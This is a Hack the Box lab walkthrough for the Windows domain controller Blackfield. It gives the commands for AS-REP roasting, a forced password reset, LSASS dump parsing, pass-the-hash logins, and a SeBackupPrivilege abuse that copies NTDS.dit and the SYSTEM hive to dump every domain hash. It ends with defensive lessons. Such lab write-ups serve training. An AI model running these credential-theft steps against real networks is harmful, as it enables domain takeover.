Hack the Box — Blackfield

InfoSec Write-ups – Medium–

Hack the Box — Blackfield


Blackfield is a 40-point machine from Hack the Box which requires you to exploit mistakes done after a recent computer forensic investigation recently done on the machine. The files left valuable information about the machine, usually extracted when doing computer forensics, which includes a dump of LSASS. Gaining access to system dumps would have been meaningless if all passwords were changed, but it was not. To get system on the machine, I abuse the SEBackupPrivilege to get a copy of NTDS.dit and parse it to get Administrator hashes.

To summarize the steps taken to solve the box:

Initial foothold:

  • Identify valid domain users
  • AS-REP Roasting
  • Force change a user’s password

audit2020 → svc_backup:

  • Extract password from dump file

svc_backup →Administrator:

  • Abuse backup privilege to extract NTDS.DIT and system hive
  • Extract domain hashes using secretsdump


I first start with masscanto identify open ports in the machine:

sudo masscan -p1-65535,U:1-65535 --rate=1000 -e tun0 

The results are the following:

Discovered open port 389/tcp on                                    Discovered open port 53/udp on                                     Discovered open port 445/tcp on                                    Discovered open port 5985/tcp on                                   Discovered open port 53/tcp on                                     Discovered open port 593/tcp on                                    Discovered open port 135/tcp on                                    Discovered open port 3268/tcp on                                   Discovered open port 88/tcp on

Based on the open ports, I am most likely dealing with a domain controller. I can then save its output on a file, and parse to get only the port numbers:

sif0@kali:~/htb/boxes/Blackfield-$ cat masscan.out |cut -d "/" -f 1 | cut -d " " -f 4 | paste -s -d, - 389,53,445,5985,53,593,135,3268,88

I then run Nmapto learn more information on the open ports:

sif0@kali:~/htb/boxes/Blackfield-$ mkdir nmap; sudo nmap -sV -sC -oA nmap/blackfield -vv -n -p 389,53,445,5985,593,135,3268,88

Not much information on the results of Nmap. No vulnerabilities right of the bat. I then used ldapsearch to get more domain-related information. To summarize:

DOMAIN: Blackfield
FQDN: Blackfield.local
DC: DC01.blackfield.local

SMB Enumeration

I try to enumerate if there are interesting SMB shares:

Non-default shares here are “forensic”and “profile$”. I then proceed to check what is under the forensic share, but do not have enough permissions. Checking the other share:

Seeing that it might be potential usernames since it follows the format of F.LastName which is a common way of creating usernames in Active Directory, I placed the names on a single file to identify if all of these usernames are valid.

Username Enumeration using Kerberos

I can enumerate valid usernames using Kerbrutewhich basically abuses how Kerberos responds to identify if the user is valid.

kerbrute_linux_386 userenum --dc -d blackfield.local users.txt --safe -v

Eventually, there are only 3 valid usernames out of 314.

Alternatively, I can use an auxiliary module from Metasploit to do the same:

msf5 auxiliary(gather/kerberos_enumusers) >

This would give you the same results, but Kerbrute is much more stable(or Impacket’s GetNPUsers.py).

So there are only 3 valid users:


AS-REP Roasting

I then checked if any of these users are vulnerable to AS-REP Roasting, which I already discussed in my Forest writeup. I used Impacket’s GetNPUsers.py:

GetNPUsers.py blackfield.local/ -usersfile real-users.txt -dc-ip

Since the user support is vulnerable, the DC gives us a TGS which we can try to crack to get its plaintext password.

[-] User audit2020 doesn't have UF_DONT_REQUIRE_PREAUTH set $krb5asrep$23$support@BLACKFIELD.LOCAL:e6dfe911ddb2bd2631db466196100954$360cd4940e6f7b574aa0a1cadde4a74dd1320b85cd9d043c14260c62558fc409a4b0015132514b3e5aca159bed53c2716ac70da1abc8b8657d959450ad1e69eca2d51209157c977183b1b0465545f9f5dc3a70d00c0c2f713010a5fcba856615f671896f181709a581273c4f85214205ca84760a4650eebd545b62d7562a8a62c2f39d3a502a4411390df2f7cc5abe997fa06e384500925d5486bbba4aa5c4279d28560905434d99d30ba70dec2b237302ac3d32cfca19e9065a6a0544d9be93c6c034820293557679531fcbd2cebdef926630833716e4b658a43b573bd4d018c53d7083213f6c45f524ab327163f71bb05e6277 [-] User svc_backup doesn't have UF_DONT_REQUIRE_PREAUTH set

Using hashcat, it cracks:

hashcat -m 18200 support.hash /usr/share/wordlists/rockyou.txt 

Now that I have a password for the user support, I know have 1 valid domain credential. In Active Directory environments, having access to one valid credential allows you to enumerate and gather tons of information about the domain. I used ldapsearch to enumerate further.

ldapsearch -x -h -D 'BLACKFIELD\support' -w '#00^BlackKnight' -b "DC=BLACKFIELD,DC=LOCAL"

I did not include the output here for brevity but just wanted to show how you can enumerate using ldapsearch. The reason is that there are attributes that can easily be seen when investigated using ldapsearch, which ldapdomaindump doesn’t include in its output. The advantage of using ldapdomaindump is its easy on the eyes. To make things easier, I use ldapdomaindump to gather information about the domain:

ldapdomaindump ldap:// -u "BLACKFIELD\support" -p "#00^BlackKnight" --no-json --no-grep -o ldapdomaindump
[*] Connecting to host...
[*] Binding to host
[+] Bind OK
[*] Starting domain dump
[+] Domain dump finished

Investigating the domain_users.html file, there is a mention of the machine creator(kudos, this box is great) and information about the svc_backup user being a member of the Remote Management Users which means that user can use PowerShell Remoting to execute commands on the machine.

Checking information on the other 2 valid users, we can see that DONT_REQ_PREAUTH is set on the support user, hence the reason why it is vulnerable to AS-REP Roasting.

Also, since I have a valid domain user, I can run Bloodhound to learn more about the domain. Since I don’t have code execution yet on the machine, I can’t use the SharpHound ingestor(since I am not on a domain-joined Windows machine, but is still possible I think if you let your Linux box talk Kerberos) but there is a Python3-based ingestor, which would be enough.

bloodhound-python -u support -p "#00^BlackKnight" -ns -d blackfield.local -c all

Loading the data on the Bloodhound GUI, it seems that the support user can force the password change of the user audit2020. This control of a user over another user is very common since helpdesk or support roles have the ability to reset a user’s password(since users often forget their passwords).

Clicking on help:

The user SUPPORT@BLACKFIELD.LOCAL has the capability to change the user AUDIT2020@BLACKFIELD.LOCAL's password without knowing that user's current password.

Also, the svc_backup user is a member of the Backup Operators group which is a privileged group that can be abused to grab a copy of the NTDS.dit (where domain hashes are stored) file.

So from here, I can say that this might be the privilege escalation needed to get to Administrator.

Force Password Reset Using Support User

Since the abuse info on Bloodhound requires Powershell and some form of code execution on any of the domain-joined machine, I searched for other ways to do this from a Linux machine and came across this resource: https://malicious.link/post/2017/reset-ad-user-password-with-linux/

From the blog itself, I can reset the password using rpcclient. To connect:

rpcclient -U support

After entering the password, I did the following:

I get access_denied on changing the password of svc_backup, but suceed in changing audit2020’s password to ‘password123!’.

I then use crackmapexecto verify if the credentials work over smb:

cme smb -u audit2020 -p 'password123!' -d blackfield.local

It works, and I now have READ access on the forensic share(which the user support doesn’t have).

Extracing to Credentials from LSASS dump

I then use smbclientto enumerate the folders under the forensic share:

Seeing that there might be interesting files here, I tried downloading them.

smbclient "\\\\\\forensic" -c "prompt;recurse;mget *" -U=audit2020
Enter WORKGROUP\audit2020's password:  
getting file \commands_output\domain_admins.txt of size 528 as domain_admins.txt (0.4 KiloBytes/sec) (average 0.4 KiloBytes/sec)
getting file \commands_output\domain_groups.txt of size 962 as domain_groups.txt (0.8 KiloBytes/sec) (average 0.6 KiloBytes/sec) 
getting file \commands_output\domain_users.txt of size 16454 as domain_users.txt (16.9 KiloBytes/sec) (average 5.1 KiloBytes/sec)

I think these files are output of certain Volatility modules or commands but don’t take my word on it. I then tried reading one of the files, but interestingly it is detected as a binary file.

Then I remembered that PowerShell uses UTF-16 as its encoding, and doesn’t match with Linux. So maybe these files were from a PowerShell script? Moving forward, it can be read using using iconv

iconv -f utf-16 -t utf-8 domain_admins.txt

The output would be:

These credentials don’t work. These files are from the computer forensic analysis. This shows that the Administrator user was compromised and its password was changed to that. Remember that these files are from a computer forensic investigation, so these files are from a previous state of the machine. There are interesting files on the forensic share. One interesting file is the lsass.zip file, which most likely contains a dump of the lsass.exe process when the extraction was done. When I tried to download it, I encountered some issues:

I then tried various options that are easily searchable, but was able to make it work using smbget, which is like wgetfor smb:

smbget smb:// -U=audit2020%password123\!

Checking the contents of lsass.zip using 7z:

It does contain a file called lsass.DMP.

I then use pypykatzto parse the dump file:

pypykatz lsa minidump /home/sif0/htb/boxes/Blackfield-

Off the bat, I get a hash for svc_backup:

There is also a hash for the Administrator user, but this most likely not working anymore:

Since svc_backup is part of Remote Management Users, I try the hash gathered to use PowerShell Remoting thru Evil-WinRM:

evil-winrm -i -u svc_backup -H '9658d1d1dcd9250115e2205d9f48400d' 

I am able to login.

I then check if I already have access to user.txt, and it looks like I do.

svc_backup -> Administrator

I then check for interesting files under the C:\users\ directory:

*Evil-WinRM* PS C:\Users\svc_backup\Documents> gci C:\users\ -recurse -force -depth 3

It is interesting that I have access to the folders under C:\Users\Administrator:

Also, it seems that the C:\Users\Administrator\Documents\forensic is mounted as the forensic share from SMB. Also, there is a watcher.ps1 file. I do not have the privileges to read it though, but I’ll check on it later after.

I tried reading root.txt, but get permission denied:

I also tried to copy notes.txt, but get access denied:

*Evil-WinRM* PS C:\Users\svc_backup\Documents> copy c:\users\administrator\desktop\notes.txt . 
Access to the path 'C:\users\administrator\desktop\notes.txt' is denied.
At line:1 char:1
+ copy c:\users\administrator\desktop\notes.txt .
+ ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+ CategoryInfo : PermissionDenied: (C:\users\administrator\desktop\notes.txt:FileInfo) [Copy-Item], UnauthorizedAccessException
+ FullyQualifiedErrorId : CopyFileInfoItemUnauthorizedAccessError,Microsoft.PowerShell.Commands.CopyItemCommand

Then I remember that the svc_backupuser is a member of the Backup Operators group which most likely has the SEBackupPrivilege enabled. I verify it using whoami /priv :

Abusing SEBackupPrivilege

I have done this abuse previously in the Multimaster machine, so this is not something new to me. This can be done by creating a shadow copy of NTDS.dit using the signed binary diskshadow. First, create a text file called script.txt which contains the following:

set context persistent nowriters
set metadata c:\windows\system32\spool\drivers\color\example.cab
set verbose on
begin backup
add volume c: alias mydrive


expose %mydrive% w:
end backup

Then execute the diskshadow and using the script file as its inputs.

diskshadow /s script.txt

I then use this repo to copy the created shadow copy of NTDS.dit, then just follow the steps in the repo. Since I am using Evil-WinRM, I can just use its upload functionality:

upload SeBackupPrivilegeCmdLets.dll c:\users\svc_backup\music\
upload SeBackupPrivilegeUtils.dll c:\users\svc_backup\music\

I can then import the 2 files:

To test if everything’s working correctly, I first try to transfer notes.txt:

copy-filesebackupprivilege C:\users\administrator\desktop\notes.txt .\notes.txt -overwrite

Reading its contents:

Mates,  After the domain compromise and computer forensic last week, auditors advised us to: 
- change every passwords -- Done.
- change krbtgt password twice -- Done.
- disable auditor's account (audit2020) -- KO.
- use nominative domain admin accounts instead of this one -- KO.
We will probably have to backup & restore things later. - Mike.  
PS: Because the audit report is sensitive, I have encrypted it on the desktop (root.txt)

From the notes, they weren’t done disabling the audti2020 account(which lead to the access to the forensic share).

Trying to copy root.txt:

*Evil-WinRM* PS C:\Users\svc_backup\music> copy-filesebackupprivilege C:\users\administrator\desktop\root.txt .\root.txt -overwrite Opening input file. - Access is denied. (Exception from HRESULT: 0x80070005 (E_ACCESSDENIED)) At line:1 char:1 + copy-filesebackupprivilege C:\users\administrator\desktop\root.txt .\ ... + ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~     + CategoryInfo          : NotSpecified: (:) [Copy-FileSeBackupPrivilege], Exception     + FullyQualifiedErrorId : System.Exception,bz.OneOEight.SeBackupPrivilege.Copy_FileSeBackupPrivilege

Still can’t copy root.txt since its is encrypted and I think can only be read on the Desktop. Proceeding with the SEBackupPrivilege abuse, I still need to transfer NTDS.dit and also need to dump the SYSTEM hive.

Copy-FileSeBackupPrivilege w:\windows\NTDS\ntds.dit c:\users\svc_backup\music\ntds.dit -Overwrite

C:\Users\svc_backup\music> reg save HKLM\SYSTEM c:\users\svc_backup\music\system.hive

The operation completed successfully.

I can the now download NTDS.dit and the system.hive files using Evil-WinRM’s download feature. Then, use Impacket’s secretsdump.py to parse NTDS.dit:

secretsdump.py LOCAL -system system.hive -ntds ntds.dit -outputfile secretsdump.out

I then get the hashes:

I can now utilize PowerShell Remoting to login as the Administratoruser, and read root.txt:

evil-winrm -i -u administrator -H 184fb5e5178480be64824d4cd53b99ee

Or use crackmapexec to do code execution:

cme smb -u administrator -H 184fb5e5178480be64824d4cd53b99ee -d blackfield.local -x "whoami"

Checking also the watcher.ps1 script:

The script runs every 30 seconds, using Start-Sleep(sleep is just an alias) and encrypts root.txt thru PowerShell Remoting.

Lessons learned

  • Disable do not require pre-auth in Kerberos(led to the access to support user)
  • Disable accounts that have been used for computer forensic/auditing(led to the existence of the user account audit2020)
  • After being compromised and with knowledge that all domain credentials are exposed, change passwords for ALL user accounts especially highly privileged accounts(led access to svc_backup user)

This concludes my write-up. I hope you learned something new! Thanks for reading! 🍺

Hack the Box — Blackfield was originally published in InfoSec Write-ups on Medium, where people are continuing the conversation by highlighting and responding to this story.

View original article on InfoSec Write-ups – Medium

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